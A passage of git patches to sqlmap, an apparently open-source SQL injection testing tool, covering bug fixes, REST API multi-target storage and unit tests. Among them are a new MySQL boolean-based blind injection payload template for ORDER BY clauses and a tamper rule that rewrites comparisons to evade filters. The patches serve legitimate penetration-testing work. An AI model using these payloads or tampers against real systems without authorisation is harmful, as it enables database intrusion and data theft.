From 1b1f93ae5cba83e2596fad2e5d1313db1be60e39 Mon Sep 17 00:00:00 2001 From: "Mr.X" <94920917+MRX-72@users.noreply.github.com> Date: Tue, 6 Oct 2026 03:24:39 +0530 Subject: [PATCH 001/126] Make test_ssti and test_xpath runnable standalone (#6136) Every tests/test_*.py file provides an if __name__ == "__main__": unittest.main(...) entrypoint so it can be run directly, except test_ssti.py and test_xpath.py. Running either of those directly produced no output and executed none of its tests; they only ran under `unittest discover`. Add the missing entrypoint to both so they behave like the rest of the suite. No test logic changed (62 and 48 tests respectively still pass). --- tests/test_ssti.py | 4 ++++ tests/test_xpath.py | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 54c6419f1..c1d4bffb2 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -827,3 +827,7 @@ class TestStruts2Header(unittest.TestCase): # so no start/end marker is found -> no fabricated 'output' ssti._s2045Send = lambda url, action: "reflected: %s" % action self.assertIsNone(ssti._executeStruts2Header("http://target", "id")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_xpath.py b/tests/test_xpath.py index e65ac1261..1923cbb79 100644 --- a/tests/test_xpath.py +++ b/tests/test_xpath.py @@ -557,3 +557,7 @@ class TestRealXPathSyntax(unittest.TestCase): self.fail("Boundary '%s' in '%s' with orig='%s' invalid: %s\n payload: %s" % (bk, tkey, original, e, payload)) self.assertIsInstance(count, int, "Boundary '%s' in '%s' produced no count" % (bk, tkey)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 2c6e4d85b5a1b854a6e0ad485e9ad1f8e038031d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 10 Oct 2026 12:00:33 +0200 Subject: [PATCH 002/126] Fixes #6142 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 239002253..18dd380bb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.0" +VERSION = "1.10.10.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 9cbe1708c..455f5ccfc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1638,7 +1638,7 @@ class Connect(object): match = re.search(r"['\"]", post) if match: quote = match.group(0) - post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) + post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry.replace('\\', r'\\'), quote))), post) else: post += "%s%s=%s" % (delimiter, name, entry) elif get is not None: From 5b180533c1e83cad47fcd4f7795f8d78c8e2e518 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 11 Oct 2026 21:20:29 +0200 Subject: [PATCH 003/126] Fixes #6143 --- lib/core/settings.py | 2 +- lib/utils/hash.py | 11 +++++++++++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 18dd380bb..a0fd2641e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.1" +VERSION = "1.10.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 18b5ee0b8..ee3af594c 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -79,6 +79,7 @@ from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.patch import dirtyPatches from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_PASSWORDS from lib.core.settings import COMMON_USER_COLUMNS @@ -101,6 +102,16 @@ from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue +# On Windows, multiprocessing's 'spawn' start method boots a fresh interpreter per cracking +# worker (_bruteProcessVariantA/B/Salted below) to unpickle its target function, which re-imports +# this module from scratch without ever running the main process's startup dirtyPatches() - so +# process-wide monkeypatches it installs (e.g. the 'reversible' codec error handler used by +# getUnicode()/openFile()) are missing in the worker, raising LookupError on every hashed entry +# (#6143). Placing the (idempotent) call here means that very re-import applies it. POSIX fork() +# workers inherit the parent's patches already, so this only needs to run on Windows. +if IS_WIN: + dirtyPatches() + def mysql_passwd(password, uppercase=True): """ Reference(s): From c94f6d0041eb0fe204540aaedc939292ab5f47b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 16 Oct 2026 12:15:59 +0200 Subject: [PATCH 004/126] Update regarding #6145 --- data/xml/payloads/boolean_blind.xml | 21 ++++++++++++++ lib/controller/checks.py | 6 ++-- lib/core/agent.py | 45 +++++++++++++++++++++++------ lib/core/enums.py | 23 +++++++-------- lib/core/settings.py | 2 +- tamper/between.py | 5 ++++ tests/test_agent.py | 15 ++++++++++ 7 files changed, 92 insertions(+), 25 deletions(-) diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 1e5d37800..a0afaf4fc 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -1365,6 +1365,27 @@ Tag: + + + MySQL boolean-based blind - ORDER BY clause (RLIKE) + 1 + 3 + 1 + 3 + 3 + CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END + + CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END + + + CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END + +
+ MySQL +
+
+ HAVING boolean-based blind - WHERE, GROUP BY clause diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 0d0b858ae..3bdbc471a 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -403,7 +403,7 @@ def checkSqlInjection(place, parameter, value): # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None - fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) + fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause) for boundary in boundaries: injectable = False @@ -517,13 +517,13 @@ def checkSqlInjection(place, parameter, value): # payload was successful # Parse test's for method, check in test.response.items(): - check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) + check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): - sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) + sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause) # Forge response payload by prepending with # boundary's prefix and appending the boundary's diff --git a/lib/core/agent.py b/lib/core/agent.py index 22184524c..ab28d2bf4 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -61,6 +61,31 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.unescaper import unescaper from thirdparty import six +def _isGroupOrderByClause(clause): + """ + Returns True if (test's/injection's) clause is exclusively GROUP BY and/or ORDER BY + + >>> _isGroupOrderByClause([PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY]) + True + >>> _isGroupOrderByClause([PAYLOAD.CLAUSE.WHERE, PAYLOAD.CLAUSE.ORDER_BY]) + False + """ + + return bool(clause) and set(clause) <= set((PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY)) + +def _markerSafeRandom(generator): + """ + Returns a random value (e.g. for [RANDNUM]) not containing the --string/--not-string page marker, + as a reflected one (e.g. echoed in a DBMS error message) would otherwise fake the comparison + """ + + markers = filterNone((conf.get("string"), conf.get("notString"))) + + while True: + retVal = getUnicode(generator()) + if not any(_ in retVal for _ in markers): + return retVal + class Agent(object): """ This class defines the SQL agent methods. @@ -184,7 +209,7 @@ class Agent(object): newValue = "%s%s" % (value, newValue) - newValue = self.cleanupPayload(newValue, origValue) or "" + newValue = self.cleanupPayload(newValue, origValue, clause=kb.injection.clause if kb.get("injection") else None) or "" if base64Encoding: _newValue = newValue @@ -296,9 +321,9 @@ class Agent(object): # after the prefix or it is in GROUP BY / ORDER BY () elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix - elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]: + elif _isGroupOrderByClause(kb.injection.clause): query = kb.injection.prefix - elif clause == [2, 3] or clause == [2] or clause == [3]: + elif _isGroupOrderByClause(clause): query = prefix # In any other case prepend with the full prefix @@ -356,7 +381,7 @@ class Agent(object): return re.sub(r";\W*;", ";", expression) if trimEmpty else expression - def cleanupPayload(self, payload, origValue=None): + def cleanupPayload(self, payload, origValue=None, clause=None): if not isinstance(payload, six.string_types): return @@ -375,16 +400,18 @@ class Agent(object): payload = payload.replace(value, replacements[value]) for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)): - payload = payload.replace(_, str(randomInt())) + payload = payload.replace(_, _markerSafeRandom(randomInt)) for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): - payload = payload.replace(_, randomStr()) + payload = payload.replace(_, _markerSafeRandom(randomStr)) if origValue is not None: origValue = getUnicode(origValue) if "[ORIGVALUE]" in payload: - payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) + # Note: in a GROUP BY/ORDER BY payload a (plain identifier) original value is the column itself - quoting it would turn it into a constant + raw = origValue.isdigit() or (_isGroupOrderByClause(clause) and re.search(r"\A[\w.]+\Z", origValue) is not None) + payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if raw else unescaper.escape("'%s'" % origValue)) if "[ORIGINAL]" in payload: payload = getUnicode(payload).replace("[ORIGINAL]", origValue) @@ -426,10 +453,10 @@ class Agent(object): payload = payload.replace(SINGLE_QUOTE_MARKER, "'") for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): - payload = payload.replace(_, str(randomInt())) + payload = payload.replace(_, _markerSafeRandom(randomInt)) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): - payload = payload.replace(_, randomStr()) + payload = payload.replace(_, _markerSafeRandom(randomStr)) if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE): payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) diff --git a/lib/core/enums.py b/lib/core/enums.py index 15c5763f6..899bf51f7 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -352,18 +352,17 @@ class PAYLOAD(object): 3: "High risk", } - CLAUSE = { - 0: "Always", - 1: "WHERE", - 2: "GROUP BY", - 3: "ORDER BY", - 4: "LIMIT", - 5: "OFFSET", - 6: "TOP", - 7: "Table name", - 8: "Column name", - 9: "Pre-WHERE (non-query)", - } + class CLAUSE(object): + ALWAYS = 0 + WHERE = 1 + GROUP_BY = 2 + ORDER_BY = 3 + LIMIT = 4 + OFFSET = 5 + TOP = 6 + TABLE_NAME = 7 + COLUMN_NAME = 8 + PRE_WHERE = 9 class METHOD(object): COMPARISON = "comparison" diff --git a/lib/core/settings.py b/lib/core/settings.py index a0fd2641e..95e1469ec 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.2" +VERSION = "1.10.10.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/between.py b/tamper/between.py index 9999d5db1..00da028c6 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -38,6 +38,8 @@ def tamper(payload, **kwargs): '1 AND A BETWEEN B AND B--' >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' + >>> tamper('CASE WHEN 1=2 THEN id ELSE 0 END') + 'CASE WHEN 1 BETWEEN 2 AND 2 THEN id ELSE 0 END' """ retVal = payload @@ -58,4 +60,7 @@ def tamper(payload, **kwargs): _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) + # e.g. CASE WHEN 1=1 THEN ... (expression-position payloads with no AND/OR to anchor on) + retVal = re.sub(r"(?i)(\bWHEN\s+)([\w.]+)\s*(?!])=(?!=)\s*([\w.]+)(?=\s)", r"\g<1>\g<2> BETWEEN \g<3> AND \g<3>", retVal) + return retVal diff --git a/tests/test_agent.py b/tests/test_agent.py index ed7463ba6..1a6f6882e 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -556,6 +556,21 @@ class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") self.assertEqual(out, "p=raw") + def test_origvalue_identifier_raw_for_group_order_by(self): + self.assertEqual(agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[2, 3]), "p.name") + self.assertIn("'p.name'", agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[1, 2, 3])) + + def test_random_values_avoid_string_marker(self): + # a reflected [RANDNUM] (e.g. quoted back in a DBMS error message) containing the --string + # marker would fake a True response (e.g. --string=98 vs. 8988) + saved = conf.string + conf.string = "9" + try: + for _ in range(200): + self.assertNotIn("9", agent.cleanupPayload("[RANDNUM] [RANDNUM1]")) + finally: + conf.string = saved + def test_space_replace_marker(self): out = agent.cleanupPayload("a[SPACE_REPLACE]b") self.assertEqual(out, "a%sb" % kb.chars.space) From 0cf2f6db07dfea774d9d2453e0d7955d1a9dc476 Mon Sep 17 00:00:00 2001 From: Bharath Vemula Date: Sat, 17 Oct 2026 04:02:34 -0700 Subject: [PATCH 005/126] Fix REST API multi-target scans returning only the last target's results (#2503) (#6146) A scan covering multiple targets inside a single API task (crawl, '-m' bulk file, forms) ran every target through one StdDbOut keyed by the single taskid, so _storeData()'s COMPLETE branch deleted each earlier target's TARGET/TECHNIQUES rows - /scan//data returned only the last target's results. Mirror the --report-json fix for #6123: controller.start() now sets kb.reportTaskId per target for API scans too, StdDbOut.write() keys data rows '-' per target, and scan_data() folds the per-target rows back into the task's flat result in target order. Single-target scans keep the exact same response shape. Regression tests in tests/test_api.py (TestStdDbOutMultiTarget, TestScanDataMultiTarget). --- lib/controller/controller.py | 7 ++-- lib/utils/api.py | 24 ++++++++++- tests/test_api.py | 77 ++++++++++++++++++++++++++++++++++++ 3 files changed, 104 insertions(+), 4 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 21df0f750..0bd5cc64d 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -376,9 +376,10 @@ def start(): for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: targetCount += 1 - # --report-json: give each target its own taskid in the shared collector, so a multi-target - # run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData) - if conf.reportJson: + # --report-json / REST API: give each target its own taskid in the shared collector, so a + # multi-target run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones + # (see _reportData for the report collector and StdDbOut.write for the REST API IPC database) + if conf.reportJson or conf.api: kb.reportTaskId = targetCount try: diff --git a/lib/utils/api.py b/lib/utils/api.py index 76cef4732..d58ab26db 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -444,7 +444,17 @@ class StdDbOut(object): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - _storeData(conf.databaseCursor, self.taskid, value, status, content_type) + # A multi-target scan (e.g. crawling or a '-m' bulk file inside a single API task) runs + # every target through this one StdDbOut instance. Key each target's data rows by + # kb.reportTaskId (set per target in controller.start()) so that a later target's + # COMPLETE row cannot delete an earlier target's rows of the same content_type in + # _storeData() - the REST API counterpart of the --report-json fix for #6123, and the + # reason a crawl via sqlmapapi used to return only the last target's results (#2503). + # scan_data() folds the per-target rows back into the task's flat result. + taskid = self.taskid + if kb.get("reportTaskId"): + taskid = "%s-%s" % (self.taskid, kb.reportTaskId) + _storeData(conf.databaseCursor, taskid, value, status, content_type) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) @@ -818,6 +828,18 @@ def scan_data(taskid): # Read all data and error messages from the IPC database (shared assembler - same output as --report-json) result = _assembleData(DataStore.current_db, taskid) + # Multi-target scans store each target's data rows under a '-' key (see + # StdDbOut.write); fold them into this task's flat result, in target order. Real taskids + # are dash-less hex strings, so a '-' prefix can only match this task's own rows. + prefix = "%s-" % taskid + subtaskids = [] + for row in DataStore.current_db.execute("SELECT DISTINCT taskid FROM data"): + stored = str(row[0]) + if stored.startswith(prefix) and stored[len(prefix):].isdigit(): + subtaskids.append(stored) + for subtaskid in sorted(subtaskids, key=lambda _: int(_.rsplit("-", 1)[1])): + result["data"].extend(_assembleData(DataStore.current_db, subtaskid)["data"]) + logger.debug("(%s) Retrieved scan data and error messages" % taskid) return jsonize(result) diff --git a/tests/test_api.py b/tests/test_api.py index 4360c3e70..8668559e2 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -30,6 +30,7 @@ bootstrap() import lib.utils.api as api from lib.core.data import conf +from lib.core.data import kb from lib.core.convert import encodeBase64 from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE from thirdparty.bottle.bottle import default_app @@ -308,6 +309,62 @@ class TestStdDbOutAndLogRecorder(unittest.TestCase): self.assertEqual(rows[0][2], "hello world") +class TestStdDbOutMultiTarget(unittest.TestCase): + """ + Regression coverage for issue #2503: a multi-target scan (crawl or '-m' bulk + file) inside a single REST API task runs every target through one StdDbOut + instance. StdDbOut.write() keys each target's data rows by kb.reportTaskId + ('-'), so a later target's COMPLETE row cannot delete an earlier + target's rows of the same content_type in _storeData() - mirroring the + --report-json fix for #6123 (see test_report.py's TestMultiTargetTaskId). + """ + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("client") + self.db.init() + self._saved_stdout = sys.stdout + self._saved_cursor = conf.get("databaseCursor") + self._saved_partRun = kb.get("partRun") + self._had_reportTaskId = "reportTaskId" in kb + self._saved_reportTaskId = kb.get("reportTaskId") + conf.databaseCursor = self.db + kb.partRun = None + + def tearDown(self): + sys.stdout = self._saved_stdout + conf.databaseCursor = self._saved_cursor + kb.partRun = self._saved_partRun + if self._had_reportTaskId: + kb.reportTaskId = self._saved_reportTaskId + elif "reportTaskId" in kb: + del kb.reportTaskId + self.db.disconnect() + + def test_second_target_does_not_overwrite_first(self): + std = api.StdDbOut("t1", messagetype="stdout") + sys.stdout = self._saved_stdout # StdDbOut hijacked it; call write() directly + + kb.reportTaskId = 1 + std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET) + kb.reportTaskId = 2 + std.write({"url": "http://host2/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET) + + rows = self.db.execute("SELECT taskid FROM data ORDER BY id") + self.assertEqual([row[0] for row in rows], ["t1-1", "t1-2"]) # neither target's row was deleted + + def test_single_target_without_report_task_id_keeps_plain_taskid(self): + if "reportTaskId" in kb: + del kb.reportTaskId + std = api.StdDbOut("t1", messagetype="stdout") + sys.stdout = self._saved_stdout + + std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET) + + rows = self.db.execute("SELECT taskid FROM data") + self.assertEqual([row[0] for row in rows], ["t1"]) + + # --------------------------------------------------------------------------- # HTTP routes (WSGI test client) # --------------------------------------------------------------------------- @@ -485,6 +542,26 @@ class TestScanQueryRoutes(_ApiServerCase): self.assertFalse(parsed["success"]) +class TestScanDataMultiTarget(_ApiServerCase): + """scan_data() folds the per-target '-' rows (see StdDbOut.write) back into the task's flat result, in target order.""" + + def test_data_merges_per_target_rows(self): + taskid = self._new_task() + api._storeData(self.db, "%s-2" % taskid, {"url": "http://host2/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET) + api._storeData(self.db, "%s-1" % taskid, {"url": "http://host1/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertEqual([d["value"]["url"] for d in parsed["data"]], ["http://host1/?id=1", "http://host2/?id=1"]) + + def test_data_ignores_other_tasks_rows(self): + taskid = self._new_task() + api._storeData(self.db, "othertask-1", {"url": "http://other/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["data"], []) + + class TestScanStart(_ApiServerCase): """scan_start, with the subprocess-spawning seam (engine_start) monkeypatched.""" From 9a1660aa120c526f68b637e5f232137722353522 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 17 Oct 2026 13:06:38 +0200 Subject: [PATCH 006/126] Minor cleaning after #6146 --- lib/controller/controller.py | 5 ++--- lib/core/settings.py | 2 +- lib/utils/api.py | 24 +++++------------------- tests/test_api.py | 3 ++- 4 files changed, 10 insertions(+), 24 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 0bd5cc64d..69bba347f 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -376,9 +376,8 @@ def start(): for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: targetCount += 1 - # --report-json / REST API: give each target its own taskid in the shared collector, so a - # multi-target run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones - # (see _reportData for the report collector and StdDbOut.write for the REST API IPC database) + # --report-json / REST API: give each target its own taskid in the shared collector, so a multi-target + # run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData/StdDbOut.write) if conf.reportJson or conf.api: kb.reportTaskId = targetCount diff --git a/lib/core/settings.py b/lib/core/settings.py index 95e1469ec..5e0accc99 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.3" +VERSION = "1.10.10.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index d58ab26db..6048047e5 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -444,16 +444,8 @@ class StdDbOut(object): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - # A multi-target scan (e.g. crawling or a '-m' bulk file inside a single API task) runs - # every target through this one StdDbOut instance. Key each target's data rows by - # kb.reportTaskId (set per target in controller.start()) so that a later target's - # COMPLETE row cannot delete an earlier target's rows of the same content_type in - # _storeData() - the REST API counterpart of the --report-json fix for #6123, and the - # reason a crawl via sqlmapapi used to return only the last target's results (#2503). - # scan_data() folds the per-target rows back into the task's flat result. - taskid = self.taskid - if kb.get("reportTaskId"): - taskid = "%s-%s" % (self.taskid, kb.reportTaskId) + # Note: per-target key in multi-target scans, so a later target's COMPLETE row doesn't delete an earlier one's (#2503) + taskid = "%s-%s" % (self.taskid, kb.reportTaskId) if kb.get("reportTaskId") else self.taskid _storeData(conf.databaseCursor, taskid, value, status, content_type) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) @@ -828,16 +820,10 @@ def scan_data(taskid): # Read all data and error messages from the IPC database (shared assembler - same output as --report-json) result = _assembleData(DataStore.current_db, taskid) - # Multi-target scans store each target's data rows under a '-' key (see - # StdDbOut.write); fold them into this task's flat result, in target order. Real taskids - # are dash-less hex strings, so a '-' prefix can only match this task's own rows. + # Note: fold in per-target rows ('-', see StdDbOut.write) of multi-target scans, in target order prefix = "%s-" % taskid - subtaskids = [] - for row in DataStore.current_db.execute("SELECT DISTINCT taskid FROM data"): - stored = str(row[0]) - if stored.startswith(prefix) and stored[len(prefix):].isdigit(): - subtaskids.append(stored) - for subtaskid in sorted(subtaskids, key=lambda _: int(_.rsplit("-", 1)[1])): + subtaskids = [_[0] for _ in DataStore.current_db.execute("SELECT DISTINCT taskid FROM data WHERE taskid LIKE ?", (prefix + '%',)) if _[0][len(prefix):].isdigit()] + for subtaskid in sorted(subtaskids, key=lambda _: int(_[len(prefix):])): result["data"].extend(_assembleData(DataStore.current_db, subtaskid)["data"]) logger.debug("(%s) Retrieved scan data and error messages" % taskid) diff --git a/tests/test_api.py b/tests/test_api.py index 8668559e2..0a76bd768 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -353,7 +353,8 @@ class TestStdDbOutMultiTarget(unittest.TestCase): rows = self.db.execute("SELECT taskid FROM data ORDER BY id") self.assertEqual([row[0] for row in rows], ["t1-1", "t1-2"]) # neither target's row was deleted - def test_single_target_without_report_task_id_keeps_plain_taskid(self): + def test_without_report_task_id_keeps_plain_taskid(self): + # e.g. output written before controller.start() reaches its target loop if "reportTaskId" in kb: del kb.reportTaskId std = api.StdDbOut("t1", messagetype="stdout") From b208262c37e0d74421318f641d76e38619d90893 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 18 Oct 2026 21:54:21 +0200 Subject: [PATCH 007/126] Fixes #4708 --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- plugins/generic/custom.py | 18 ++++---- tests/test_agent.py | 6 +++ tests/test_generic_takeover.py | 80 +++++++++++++++++++++++----------- 5 files changed, 73 insertions(+), 35 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index ab28d2bf4..455e44f35 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -658,7 +658,7 @@ class Agent(object): fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I) fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I) - fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) + fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I | re.S) fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I) fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query diff --git a/lib/core/settings.py b/lib/core/settings.py index 5e0accc99..4ca26c663 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.4" +VERSION = "1.10.10.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 